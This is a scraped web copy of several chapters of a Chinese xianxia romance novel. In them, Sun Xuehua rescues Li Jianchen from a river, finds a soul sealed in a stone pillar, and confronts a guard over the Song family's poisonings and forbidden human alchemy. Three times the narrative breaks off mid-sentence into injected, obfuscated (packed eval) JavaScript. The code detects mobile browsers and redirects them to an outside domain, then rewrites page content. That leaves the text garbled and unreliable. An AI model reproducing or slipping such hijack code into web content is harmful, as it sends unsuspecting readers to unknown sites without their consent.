孙雪华一怔,李见尘笑笑:“宋涟、李闻棋、黎思之,这三个人其实是师兄弟。宁展阳屋里的陶罐,可能是宋涟的,里头的细沙,也许就来自听海崖的那片海。” “听海崖偏居一隅,门人不多,但李闻棋却是个很优秀的人,可惜他去世得最早。林采荷为此悲痛不已,恰逢蔚然派贩卖假药一事被人捅了出来,她便将掌门之位传给了黎思之,与宋忱一同南下经商。” 李见尘顿了顿,叹道,“这些,大概是三十年前的事情。” “然后呢?” “然后我就不知道了。”李见尘狡黠地笑了笑,“或者,孙掌门愿意再亲我一下的话,我还能再想起来什么,也说不定。” “无赖。”孙雪华两指凝气,封住他的哑穴,“从现在开始,你就不用说话了。” 李见尘一点不恼,甚至没有要强行破开他的术法的意思,只握住对方的手,在他掌心一笔一划地写着:“宁展阳屋里的陶罐,我猜,是宋涟的。” 孙雪华没什么反应。 李见尘又写着:“李闻棋去世后不久,宋涟也去世了,据说是夜里受了惊吓,突然暴毙的,林采荷接受不了这样的打击,不久之后也撒手人寰。” “受了惊吓?”孙雪华蹙眉,忽地紧紧攥住他修长的手指,“你不是说你不清楚吗?” “是啊,我可管不了宋忱的死活,可林采荷到底曾经是听海崖掌门,是我的徒子徒孙,我偶尔也会关心一下她的动向。” 孙雪华意识到自己又被这人骗了,脸色一沉,当即甩开他的手,李见尘还没意识到问题的严重性,还想着蒙混过关,笑着,竟是自己破开了对方的术法:“别生气嘛,孙掌门,容我再想一想——” “扑通。” 话音未落,他便摔进了滔滔江水之中。 29. 第 29 章 水下幽暗,强烈又熟悉的潮湿感将李见尘紧紧包围。他试图向上游去,四肢却根本不听使唤,身体无比沉重地向下坠落,闷痛感缓慢地布散开,逐渐侵蚀他的意识。李见尘漂亮的眼睛里溢出一滴泪,那颗总是陪伴在他左右的宝珠也随之失去了光彩,黯淡不已。 真讨厌。 李见尘颇有些哀怨地闭上了眼睛。 这次睡着的话,就不知道什么时候才能再次醒来了。 他莫名有些难过,刚刚那么一闹,孙雪华定是以为他在故意使性子,应当不会来捞他吧。 李见尘头脑昏昏的,那颗宝珠落入他怀中,与他一道往江底沉去。 事实上,孙雪华愣了一会儿,并没有想到他会掉下去。 虽然他们就在江边,只要朝外跨出一步,就会踩进江水之中,可这江水宽阔,不应该立刻就没了人影。孙雪华第一反应的确是李见尘又在作弄他,故意钻进水中,博取他的同情。但他站在岸边,凝望着那滔滔不绝的江水,最后一缕落日的余晖已然消退,取而代之的是一种深不见底的墨蓝色。 夜幕即将来临。 他竟有些许担心。 哪怕他认为某人恶作剧的成分最大,可他仍是不可避免地忧心。 他犹豫片刻,站到了李见尘刚刚所在的位置,鞋底踩上那半个脚印时,他忽地感到一丝不对劲。 此时是暮春,江边的泥土应当十分松软才是,可这一片,却给人一种虚浮中空之感。 孙雪华脚尖用力向下一点,整个人也摔了进去。 “扑通。” 江水微冷,波涛不竭,一浪接着一浪地冲击着孙雪华,明明江上春风已不似冬日那般冷冽呼啸,可这江水却依旧汹涌,非比寻常。 孙雪华在一瞬间就察觉到了异样,他迅速稳住身形,转而向下游去。 水下黑暗,水声也格外的大,像是有什么东西在怒吼,一次又一次撞击着他的耳窍。孙雪华施术,在自身周围隔开一个结界,掌心向上,一点灵光便浮现在眼前,如漫漫长夜中的启明星,缓缓驱散了这茫茫无尽的阴寒。 孙雪华眼前出现了一根巨大的石柱,笔直耸立,上接江心洲,下接江底泥石,三者衔接,乍一看,仿佛是这江水中陡然撑开的巨伞,巍巍不可仰视。 孙雪华不曾停留,托着那点灵光,四下寻找着李见尘的踪迹。 水声愈发大了起来,仔细聆听之下,像是隐隐夹杂着某种哭声。孙雪华向下看去,江底怪石嶙峋,形状千奇百怪,像一片密集的丛林,朝着有光的地方疯长。 孙雪华始终没有看到李见尘的身影。 时间一点一滴流逝,他感到一丝前所未有的焦躁。 会去哪儿呢?是发脾气躲起来了,还是被江水冲远了? 孙雪华一头扎进那石林当中,四处搜寻着。腰间灵囊忽地一动,他有些诧异地摸出那张灵符——宋澜的尘缘又有了些动静。 “你是有什么指引吗?” 孙雪华有些困惑,便解开了封印。 那点尘缘如天女散花般飞出,恍若一条灵活的鱼儿,穿过这诡异奇绝的石林,冲着那石柱奔去。孙雪华紧随其后,那点尘缘绕柱而上,最终停留在中间的位置,徘徊不去。 “你生前见过这个东西吗?” 孙雪华靠了过去,放大掌心的灵光,照亮那片石柱。尘缘飞散,渐渐凝聚成一把剑的形状,顺着那剑尖看去,那石柱里似乎有什么东西若隐若现。孙雪华施术分开那些水流,让自己看得更清楚些。 石柱里头,露出一双紧闭的眼。 眼睫乌黑,眉如峰聚,仿佛是静悄悄地睡着了。鼻子、嘴巴却被术法遮住,根本看不见。 孙雪华一怔,这眉眼…… 尘缘忽散,钻入他的灵符之中。 孙雪华掌心覆上那根石柱,却被一股无形的力量阻隔在外。他向上看去,那石柱顶端就接着那江心洲,若是强行打碎,上方的建筑必定毁于一旦。 他撤开手,又继续寻找着李见尘的踪迹。 可那人就好像凭空消失了一样,不知去向。 孙雪华感到一阵心悸,掌心渗出些许细密的汗。那个石柱之中,封印着的,究竟是谁?是真的人,还是一种幻影,一点魂魄,还是和宋澜那样的,一缕尘缘? 可无论如何,那个眉眼,又太像李见尘了。 孙雪华感到心跳加快了许多,他轻轻按了按那仿佛要逃离身躯的心脏,有一瞬间,像是停止了全部的思考。 他从怀中找到那几缕破碎的布条,李见尘先前还因为它被小夏斩断而大发雷霆,现在,上头还残留着某人的气息。孙雪华施术,一点灵光裹挟着某人气息往石林深处钻去,他急忙跟上,就见那黑黢黢的石林之中,泛着一点微弱的光芒。李见尘手里握着那颗宝珠,安静地躺在一块石头上,像是睡了过去,指缝中点点微芒散开,似乎是在保护他的心脉不受伤害。 孙雪华快速游了过去,一把抱住他,李见尘本来绑得松松垮垮的头发一下散开,缠绕在他脖颈处,孙雪华拂开那些青丝,某人忽地一声呓语,不知道在说些什么。 看来没事。 孙雪华顿时松了一口气,胳膊一伸,箍着他的脖子朝上游去。 “哗啦——” 二人浮出水面,孙雪华又托又抱,终于把某人弄回了岸边,平放在地。李见尘还没清醒,依旧维持着熟睡的姿势,少年人探了探他的鼻息,呼吸平稳,脉搏有力,并无性命之忧。 “李门主?李门主?醒醒,快醒醒。” 孙雪华拍拍他的肩膀,呼唤着,发上的水滴全都落在了对方脸上,更衬得那张好看的脸,我见犹怜。 李见尘毫无反应。 可这一回,孙雪华却不觉得他在恶作剧,反而有种“若是不叫醒他,他可能这辈子都不会再醒过来”的感觉。 他继续摇了摇对方,仍是没有回应。 孙雪华掰开他的掌心,发觉那颗宝珠已然无光,像江底布满青苔的石头,开始显露出一丝腐朽的气息。 孙雪华心头一动,掌心聚力,将自己的灵力注入那颗珠子之中。那些隐隐约约的,青苔似的痕迹渐渐退去,玲珑剔透的莲纹开始转动,李见尘在睡梦中蹙起了眉头。孙雪华的灵力源源不断地注入其中,那是一股非常纯粹、干净、温暖的力量,宝珠再次焕发光彩,明亮闪烁。 李见尘悠悠转醒,睁眼就看见了浑身湿透的孙雪华。 他好像做了一场漫长又虚无的梦,忘记了一切的过往,醒来之时,已经记不得今夕何夕。 他静静地注视着面前这个少年人,没有过多的表情。 孙雪华还以为他被吓着了,轻声安慰道:“没事了,你别怕。” 李见尘笑都没有笑一下,握紧手中的宝珠,默默坐了起来,孙雪华扶了他一下,那些飘散的意识才像是终于回到了他的脑海里。 李见尘眉梢一挑,却没有说话,孙雪华敏锐地捕捉到了这一点,问道:“好些了,是吗?” 某人嘴一撇,摇了摇头。 孙雪华也不和他计较,哄道:“我背你回去。” 李见尘点点头,还是不肯吭声,装得一副懵懵的迷糊样子,任由对方背起他。那湿漉漉的头发垂落下来,他嘟囔着:“我的发带呢?” “掉了。” “真糟糕。”李见尘趴在孙雪华肩上,摆弄着他有些凌乱的发丝,说着,“我还以为你不会来捞我。” “这江水之下有古怪,我刚刚看到——” “怎么又开始讲这些事了?你就不担心我吗?”李见尘一把抱住他的脖子,柔软的脸蛋贴在他颊侧,不依不饶地问着,“不担心吗?真的一点都没有吗?” 孙雪华紧抿着唇,不愿回答这个问题。 李见尘亲昵地蹭了蹭他的脸:“真让人伤心,你都不担心我。” “听海崖临海而立,你身为门主,竟然不会水吗?” “靠海就一定会游泳吗?那淹死还都是会水的人呢。” 李见尘又开始胡搅蛮缠,孙雪华打断了他的话:“你听我说,江底下有一根石柱,宋澜的尘缘对它反应很强烈,而且那石柱里头,封印着一个,一个人影。” “哦。”李见尘闷闷不乐,孙雪华踟蹰片刻,说道:“我觉得那个人影的眉眼,很像你。” “呵。”某人嗤笑,“孙掌门也出现幻觉了?” “不可能,我看得很清楚。” “那你就是诅咒我被封印咯?” “没有,我并不是这个意思。” 李见尘很不高兴,孙雪华问他:“你有没有见过和你很像的人?” “我为什么要告诉你?把我推到江里不说,还总是问我一些莫名其妙的问题。” 孙雪华听了,觉得他根本就是在无理取闹,当即将人扔了下来,李见尘踉跄两步,气呼呼地盯着他:“干什么?我说得不对?” “第一,是你自己脚滑摔下去的,第二,我在认真和你分析事情,你最好不要再不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762387|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知好歹。”孙雪华感觉自己真的生气了。 他费了好大劲才把人捞回来,结果还是这副油腔滑调的德行,还不如不捞,让这老油条一直睡在江底下。 “我不想听。”李见尘情绪不高,他像是有很严重的起床气,明知不该,但就是要无理取闹。孙雪华见他油盐不进,更是愤慨:“我在水底下找了你很久,可一直没有找到,我也很着急,很担心啊。可你呢?一直以来气我骗我,就没有半点悔改之心吗?” 他垂眸,莫名很受挫:“罢了,和你这种人,有什么好说的?” “是,和我这种人,确实没什么好说的。”李见尘自嘲着,“那孙掌门想知道什么呢?是想问这世上有没有人和我长得特别像?” 孙雪华抬眼看他,神色有些复杂。 李见尘长身玉立,一字一顿地说着:“有。而且,这个名字,孙掌门应该听过很多遍。” “是谁呢?” “李闻棋。” 孙雪华一怔,李见尘笑笑:“很意外是不是?我自己都很意外。第一次见到这个孩子的时候,我就觉得他和我很像,就像这个世界上另一个我。他小时候和我长得简直一模一样,可是长大了,倒是不太像了。” “不过,这是一个只有我知道的秘密,因为并没有人见过我,又或者,见过我的人,已经消失在过去了。” 李见尘顿了顿,嘴角仍是噙着笑,可眼底却不见一丝笑意,他道:“我很惊讶,所以也很关注这个孩子。不过真可惜,他和我完全不一样,居然长成了一个正人君子。但凡他和我一样没心没肺,就不至于被人毒死了。” 孙雪华更是惊讶,李见尘瞥了他一眼,笑着:“是啊,李闻棋,是被毒死的。” 一个荒唐的猜测出现在了孙雪华的脑海中。 “他是被,宋忱毒死的?” “不止。还有黎思之。” 孙雪华愕然。 李见尘笑着:“你好像很惊讶啊,孙掌门?” “不要露出那种表情,你想想黎思之能卖友求荣,就知道他能做出什么事来了。” “那宋忱为什么,”孙雪华正欲开口,忽地醒悟过来,“莫非他——” “对。宋忱本想毒死李闻棋之后,让宋涟做那听海崖掌门,可没想到,李闻棋的死,引发了一系列问题,最终,就是我们看到的结果了。” 孙雪华心里五味杂陈,为了一个掌门之位,竟然会做出这等腌臜之事…… “我说完了,可以回去了吗?”李见尘歪头,“或者我们也可以挑灯夜谈,孙掌门素来心系苍生,不知道会不会再安慰安慰我啊?” 孙雪华感觉他在发脾气,可这一时半会儿,竟也觉得他有些可怜。 “回去吧。” 孙雪华说着,默默伸出手,李见尘一顿:“做什么?” “握手言和。” 李见尘:“……” 孙雪华说道:“我确实很担心你,也不是故意要逼问你的伤心事,抱歉。” “这倒不必。”李见尘又是那不着调的样子,“若是孙掌门愿意——” 他轻轻点了点自己的嘴唇,不言而喻。 孙雪华收回手:“江山易改,本性难移。” “哈哈。”李见尘料是这样的结局,并没有纠缠,只是在笑。 孙雪华走了过去,一把抱住了他。 这回,李见尘当真愣住了。 孙雪华不知何时,除去了身上的水渍,浑身上下干燥又温暖,充满了灿烂又阳光的味道,这和他的外表和给人的感觉完全相反。 李见尘知道,这是他的灵力散发出的气息。 “孙掌门真是个心善之人啊。”他叹道。 孙雪华却轻轻搂着他的背,替他除去那些冰冷的江水。 很难形容这人带给自己的触动,但起码,现在他还活蹦乱跳的,的的确确是一件令人心安的事情。 孙雪华抱紧他,轻声道:“你要是不那么气人就好了。” “孙掌门喜欢乖巧懂事的?” “没人会不喜欢吧?” 李见尘笑了笑:“那我勉强装一装也可以。” “不必。”孙雪华松了手,转过身去,李见尘在后面叫着:“天好黑啊,我害怕。” 他抓住对方的手,说道:“我们握手言和。” 孙雪华:“……” “有病。” 他极少骂人,这为数不多的机会,怕是都要用在李见尘身上了。 30. 第 30 章 天完全黑了下来。 江心洲已经挂起了大红灯笼,灯火通明之余,更添一种难言的古怪。灯影、树影、人影,层层叠叠堆在一起,像一团乱糟糟的颜料,透着些许荒诞。 金伯涛一步一步,穿过空荡荡的庭院,跪在阶前:“庄主。” “嗯。”苍老的声音从那昏暗的屋内传来,“你上前一些。” “是。”金伯涛上前两步,只听宋忱问道:“你这一天,都去哪儿了?” “属下巡逻去了。” “巡逻去了?这江心洲都快翻了天了,你巡哪儿去了?”宋忱摩挲着手里的金戒指,听不出喜怒,金伯涛亦是镇定,并无慌乱之色:“明日便是庄主寿宴,我巡逻结束,便乘船去镇上打点了一番,好让那些宾客明日能按时抵达江心洲,免得码头拥挤,坏了庄主大事。” “去了镇上?你一个人去的?” “带了几个兄弟,老宅的弟兄们也都见过我。”金伯涛说着,忽地从怀里掏出一个锦盒,恭敬地呈上,“这是二小姐托我带回来给您的,她说明日一早,便赶回来为您祝寿。” “一定要等到明天早上吗?”宋忱似有弦外之音,可金伯涛权当听不懂,只道:“二小姐仍有些病恹恹的,属下斗胆猜测,她并非不愿与属下一道回来,只是身体抱恙,实在是不得已啊。” 宋忱闻言,长叹一声:“她莫要与我离心才好。” 他摆摆手:“呈上来吧。” “是。” 一旁的仆从接过那个锦盒,呈给了行将就木的老者。宋忱今日似乎精力损耗许多,打开锦盒时,一双手都颤颤巍巍的,使不上劲,好在这个盒子只有一个机关锁,打开来还算轻松。 里头是一颗褐色的丹药。 香气沉郁、浓厚,是个上等的补品。 宋忱眼底闪过一丝晦涩,沉声问道:“漪儿有没有什么话,托你转达的?” “二小姐祝您福如东海,寿比南山。” 话音刚落,宋忱竟是低低地笑起来,他拈起那颗丹药,一口吞下,枯瘦的脸上浮现出很不正常的红晕,显得格外渗人。仆从给他端来热茶,服侍他喝下,宋忱将那锦盒重重砸在了金伯涛头上,对方一动不动,沉默地跪着。 “展阳办事不利,被你请来的那个小兄弟擒了,你去与他说道说道,通个情,别为难展阳了。” 金伯涛似是一愣,忙磕了个头:“庄主,这其中定有误会,属下——” “行了行了。”宋忱摆摆手,“快去吧,要是去得晚了,展阳回不来,我这庄上无人,就只能让你做这守卫长了,是不是?” 金伯涛再次伏地:“庄主折煞小人了,小人这就去办。” “嗯,去吧。”宋忱手一抬,挥退左右,只留了个心腹在侧。 他道:“扶我去里屋。明儿便是我八十大寿,可不能让一群小辈看低了。” “是,庄主。”那心腹将他扶起,缓缓朝里屋走去。 金伯涛很快就找到了宁展阳的所在。 他看着满地狼藉,又看了看一脸茫然的尹晓棠,问她:“怎么了这是?你们,你们……” 小姑娘刚把宋鸿、阿音、小夏他们藏起来,还没来得及叫醒宁展阳,就被人发现了。她本来十分信任金伯涛,可一想到那张来历不明的宣纸,又想到对方今日都不曾出现,难免多了个心眼,就道:“守卫长不知道为什么,与我们大打出手,我们实在没有办法,才把他捆起来的,他到现在都没有醒。” 金伯涛闻言,颇有些懊恼:“你们,简直胡闹!我带你们进庄,本就是想在庄主寿宴之前,解决那些护卫失踪之事,可你们居然把守卫长打伤了?” “我们不是故意的,也是为了自保嘛。”尹晓棠小声嘀咕着,复又说道,“而且,你拜托我们的事情,我们也不是一点进展都没有,我们怀疑,失踪一事,就是守卫长干的。” “怎么可能?”金伯涛满脸都写着难以置信,“这种话可不能乱说,万一传出去,有你好果子吃。” 尹晓棠沉吟良久,没有再吭声,金伯涛便劝道:“你给守卫长松绑,我要带他去庄主那里。” “不行。” “为何不行?” “不行就是不行。” “你——”金伯涛见她倔脾气上来,忽地念头一转,问她,“殷小兄弟呢?这,这院子里那伶人呢?” “副守卫长找我?” 他话还没说完,就听见背后响起一个熟悉的声音,一回头,孙雪华和李见尘正朝这边走来。 金伯涛见他们两个站一块儿,莫名觉得有点怪但没有细想,只是把对尹晓棠说过的话又捡着说了一遍,孙雪华听了,淡然答道:“我们确实怀疑护卫失踪一事,是守卫长做的。” “证据呢?” “不知道副守卫长,有没有见过这个东西?”孙雪华从灵囊中,取出那个已经变小,约莫只有一个碗大的青铜鼎,金伯涛端详许久,摇摇头:“没见过。” “这是用来炼丹的鼎。” “炼丹的鼎,不应当很有分量吗?这个——”金伯涛面露疑色,孙雪华回答道:“它会变大。” “哦。” “听说宋庄主是炼丹制药起家的,除了他,还有其他人会吗?” “二小姐也会,而且青出于蓝。”金伯涛说着,便提起来今日之事,“我今儿还去了趟镇上,二小姐还托我给庄主送了丹药。” “丹药?” “嗯。庄主年纪大了,便时常会服些丹药,延年益寿。” 孙雪华没有太多的表情变化,只道:“如此,副守卫长应当十分受二小姐器重,假以时日,应当就能坐上守卫长的位子了。” “不敢不敢,我只是凑巧罢了。” “此话怎讲呢?” 金伯涛眼底闪过一丝不明的情绪,但很快就被他的笑意掩盖:“我刚来的时候,这江心洲时常有闹鬼的传言,我当时年轻,胆子也大,就毛遂自荐去了,没想到,居然瞎猫碰着个死耗子,给我办成了。” 金伯涛说着,憨笑两声,孙雪华追问道:“闹鬼,确有其事吗?” “没有,并不是闹鬼,是,是……”金伯涛蓦地叹了一口气,“是小少爷到了夜里就发疯病,披着个破旧的床单就到处跑,当时这江心洲建成不久,人手也不够,好多地方一到晚上就熄灯了,这黑灯瞎火的,人也看不清,这谣言就一传十,十传百了。” 金伯涛一脸为难:“我那会儿刚从五柳山庄出来,到了这宋氏钱庄,一心想谋个立足之地,就顺水推舟,做了这档子事儿。” “小少爷,宋鸿吗?” “嗯。” “他愿意听你的话?” “我最开始来,便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762388|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给小少爷做护卫。他亲姐姐好多年前就去世了,他受了刺激,脑子一直不正常,我起先没注意,直到闹鬼的时候,才发现的。” 孙雪华眼神微转:“我先前见过宋鸿,他说你是个好人。” “抬爱了。” “他还说,他很抱歉弄死了你的巡逻犬,害你被守卫长责罚,再也不去探望他了。” 金伯涛一愣,微微攥了攥手,仍是笑着:“我当时被调走,守卫长找了几个人看着我,免得我再闯出些祸事来,所以,就没有再去探望他。” “嗯。”孙雪华轻声应着,金伯涛又道:“那现在能让我带守卫长离开了吧?明儿就是庄主寿宴了,这江心洲上上下下,还需要守卫长亲自督促打点呢,你们把他捆在这儿,也不是个办法呀。” “明早我会给你一个答复,但今晚不行。” “你这小子,怎么油盐不进啊?”金伯涛急了,孙雪华却纹丝不动:“副守卫长时常觉得守卫长给你穿小鞋,这会儿不正是个取而代之的好时候?” “我虽与守卫长不和,但孰轻孰重,我还是分得清的。”金伯涛劝着,“你就不要固执己见了,将人放了吧。” “看不出来,副守卫长还是个热心肠。”原本默不作声的李见尘忽地开了口,倚着孙雪华,笑眯眯地说,“依我看,小雪便放了守卫长吧,一来,是给了庄主颜面,二来,也是解了这燃眉之急。” “我说过了,明早会给你一个答复,但不能是今晚。”孙雪华抬手,做了个“请”的手势,金伯涛转而看向尹晓棠:“师妹,你快劝劝他啊。” 小姑娘摇摇头:“涛哥,你回去吧。” “你——”金伯涛恨声,拂袖而去。孙雪华单手施术,一点灵光迅速落入他的发梢之中,潜藏了下去。 “你怀疑金伯涛?”李见尘附耳问道,孙雪华小声回答着:“我不怀疑他,我只是很好奇,二小姐炼丹之所,会在哪里。” 他看向依旧绑在树干上的宁展阳,打了个响指,解开了对方的枷锁,问道:“守卫长既然醒了,何必装睡?” 尹晓棠一愣,慌慌张张看过去,宁展阳睁开双眼,幽幽地看着众人,那双眼睛依旧锐利,锋芒毕露。 “孙掌门,果真人中龙凤。”他缓缓站起身,有些稳不住,摇摇晃晃地扶住了树干,看上去十分疲惫。 “那个缚灵铸器之术,想必对施术者损耗极大,否则百年来,也不会只有寥寥几人修得此法。”孙雪华一步一步走上前去,冷肃眉眼间裹挟着强烈的压迫感,宁展阳不由地后撤一步,嗤笑一声:“孙掌门,这是何意?” “活人炼丹之事,你知晓吗?” “不知。” “活人炼丹,乃仙家大忌,若是炼成,必当生灵涂炭。” “那又如何?”宁展阳不屑,“我区区一个护卫,毕生所求,不过是享不尽的荣华富贵,孙掌门却和我谈论苍生大道,岂不可笑?” “那宋涟不就白死了吗?”孙雪华掷地有声。 宁展阳面色一僵,手掌用力,恨不得将这棵大树劈断。 “虽然很多细节,我目前还不清楚,但宋涟,就是因为这件事而死的吧?” 李见尘也有些惊讶,抬眸看向孙雪华,对方的背影即使在昏暗的夜色中,在晦涩的月光下,也显得尤为挺拔,像一棵屹立不倒的松柏,岿然不动。 31. 第 31 章 “宋家一直在秘密进行活人炼丹的禁术,从宋忱到宋漪,应当都有在进行。” 孙雪华仍是托着那个碗大的青铜鼎,神色肃穆,“宋涟作为他与林采荷的长子,一直生活在听海崖,你身为他的剑侍,想必也在听海崖生活过吧?你房里那些陶罐,不管是你的,还是宋涟的,都可以证明你对那段岁月非常珍视。” “当年,宋忱为了能让自己的儿子坐上掌门之位,不惜毒死了林采荷的首徒,李闻棋。可宋涟与李闻棋,是师兄弟,自小一起练剑学艺,想来情谊深厚。” 宁展阳脸色灰白,像枯败的落叶,毫无生气可言。可那双眼睛却又格外凶恶,仿佛下一刻就会发狂发疯,他开口,声调冷得犹如一块坚冰:“所以呢?你想说什么?” “李闻棋死后,宋忱便携妻儿离开了听海崖,宋涟回到了这个江心洲。但他却在某天夜里,见到了本已死去的李闻棋。” 孙雪华顿了顿,“这江心洲之下,有个巨大的石柱,里头封印着李闻棋的魂魄,是这样吗?” 宁展阳面无表情:“你下到江底了?” “嗯。” “谁告诉你,那石柱里头是李闻棋的魂魄?” “我啊。”李见尘十分自然地接过话茬,一副理所应当的模样,宁展阳冷笑两声:“你?你久居地宫,竟然认识李闻棋吗?” 李见尘不答,脸色也不大好看,但不知是出于何种原因,他并没有与人争辩。 “小夏曾经说,这个江心洲刚建成的时候,常常半夜闹鬼,金伯涛说那个鬼影是发疯的宋鸿,可在小夏的描述中,那个鬼影像个剑客,因此,我认为,那是李闻棋。” “我猜测,宋忱在毒死李闻棋后,害怕东窗事发,便将其尸骨带回了江心洲,以泥石浇筑,迫使他无法转生,魂魄从此停留此地,所以才会有闹鬼传言。” 孙雪华抿了抿唇,迟疑片刻:“可是金伯涛,非是能人,依我看,他并没有本事解决游荡的鬼魂,尤其是,生前就已经出类拔萃的李闻棋。” “呵呵。”宁展阳低低地笑了两声,“有意思,您真的很有意思,然后呢?您还猜到了什么?您不会还觉得,大少爷是半夜撞见了李闻棋的魂魄,活活吓死了吧?” “宋涟不是被吓死的,他应当是知晓了宋忱的所作所为,难以接受,从而自我了断。” 宁展阳的脸色愈发阴沉,眼神中杀气毕露:“孙掌门,何出此言呢?” “猜的。”孙雪华说得很轻很慢,可这一下就激怒了宁展阳,他猛地一拳打了过来,孙雪华微微仰头,便避开了他的攻击,顺势抓住他的拳头,轻轻用力,宁展阳竟是半点都动弹不得。 “小夏对守卫长的为人,十分认可,而守卫长又曾是大少爷的剑侍,既是剑侍,既是主仆,算来一言一行,都十分受那人影响。”孙雪华单手制住了宁展阳,他知道这人已是强弩之末,已掀不起太大的波澜。 “宋涟是个好人,最起码,不是个草菅人命的恶人。” 孙雪华放低了声音,仿佛是怕再次刺激到宁展阳,可他也知道,这些都是徒劳,无论如何,伤害都无法避免,那些因果环环相扣,每错一步,便会将结局推向不可挽回的境地。 “这样的人,见到昔日朝夕相处的师兄,怎么可能会被活活吓死呢?他应当是追究起了对方的死因,知道了真相,或许他在追查的过程中,也知道了活人炼丹一事。” 宁展阳低下头,肩膀微微颤抖,夜色之下,根本看不清他的神情。 孙雪华微叹:“宋涟知晓了一切,却没有告诉任何人,宋忱大概也不知道他的儿子在追究此事,否则,不可能会对你委以重任。” “宋涟是独自赴死的,是吗?” “无法接受父亲犯下此等滔天大罪,也无法为师兄复仇,更无法阻止这不断循环的恶果。” “所以他道心崩坏,选择自裁。” 孙雪华说着,默默松了手,站在原地不动。深深庭院,幽幽夜色,连风声都格外沉寂,悄悄地、无声无息地落在每个人眼中。 宁展阳猛地挥拳,重重打在了孙雪华脸上,对方头一偏,嘴角顿时见了血。李见尘一愣,在宁展阳的第二拳即将挥下的时候,挡在了孙雪华跟前,施术将宁展阳五花大绑,对方倒在地上,仰天长啸,整个院子都回荡着他凄厉的叫声。尹晓棠到底是年纪小,有些吓着了似的僵在原地。 孙雪华一脸平静地擦去嘴角血渍,却听某人质问道:“你怎么不躲?” 他眨眨眼,没有回话。 李见尘眉头紧皱,脸色比刚从江水里浮出来还难看:“你怎么不躲?明明可以躲掉,为什么要白挨这一拳?” 孙雪华的视线越过他,看向倒在地上的宁展阳,对方扑腾着要爬起来,可李见尘下了狠手,他越是挣扎,那灵锁越是紧固,他很快被勒得满脸胀红,像是快要喘不过气来。 孙雪华轻声道:“松开他吧。” 李见尘无动于衷。 “没有这一拳,他可能就疯了。”孙雪华伸手,戳了戳某人的肩膀,“松开他吧。” 李见尘拉着张脸,稍微给人松了绑,免得他真的被勒死了。 孙雪华走了过去,蹲下身:“守卫长并非大奸大恶之徒,怎么会出现在活人炼丹的现场呢?” 宁展阳抬头看他,见他眉眼低垂,似是凝着一股悲天悯人的气息——使人厌烦。 宁展阳大笑:“大少爷死了,二小姐就是下一任庄主,我不投靠她,难道还指望着一个死人吃饭吗?” “庄主年纪大了,慢慢也不管事了,一心炼丹,追求长生,甚至开始做些善事,捐衣捐粮来给自己攒功德。” 宁展阳笑得眼泪都流了下来,双目通红,“你说他是不是越活越倒退了?年轻的时候,杀人越货,制假贩假,无恶不作,等老了,又开始惺惺作态,祈求上天晚些收他走。” “他真是疯了!这偌大的庄子,哪还有人真心向着他!” “只要他一死,二小姐就是名正言顺的庄主,我依旧是这庄上的守卫长,一人之下,呼风唤雨!” 孙雪华默然片刻,问他:“你攻击我们,是二小姐的意思吗?” “是。” “我们找到了宋鸿,你就知道,我们迟早会发现他们活人炼丹的事情,所以才决定殊死一搏?” “是。”宁展阳脖子一梗,闭上眼,“要杀要剐,悉听尊便。” 孙雪华却伸手,轻轻拍了拍他的头:“你累了,睡一会儿吧。” 宁展阳明显怔了怔,却感觉一股无名的力量注入他的身躯,强烈的倦意袭来,他竟一下睡了过去。 孙雪华敛眉,不声不响地站了起来,对尹晓棠说道:“尹姑娘,你还好吗?” “我还好。” “今晚可能要劳烦你守着这里了。” “嗯。你放心吧,孙前辈。” “多谢。”孙雪华微微点头,这才感觉到嘴角一丝刺痛,他再伸手摸了摸,脸颊已经肿得老高,又红又烫。 李见尘忽地拉过他,对尹晓棠说道:“有任何事你都可以找阿音帮你,我们还有别的事情要做。” “好。”尹晓棠不多问,就看着二人走远了。 孙雪华被拉着走了好一段路,却没有说什么。他难得左顾右盼,像是欣赏了一圈这江心洲的风景,尽管现在是半夜,没什么可看的。 他们走到了灯火通明的某个地方。 那是明日寿宴的主会场。 那些用具早已布置齐全,只等开宴。喜气洋洋的灯笼结满枝头,花香盈盈,珠光璀璨,孙雪华随便走了两步,发现连那地砖上都嵌了鸡蛋大小的宝石。 好奢侈。 只是这会儿一个人影都不见,不知是睡过去了,还是另有安排。 李见尘拉着他,坐到了中央敞亮之处,孙雪华像是猜到他要做什么,反而先开了口:“我不疼。” “是是是,我们孙掌门是何许人也,当然不怕疼了。”李见尘从袖中摸出一瓶很小很小的膏药,拧开来用指腹点了点,轻轻抹在了对方嘴角。那膏药清凉舒爽,带着些许草药的苦香,倒是十分好闻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762389|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 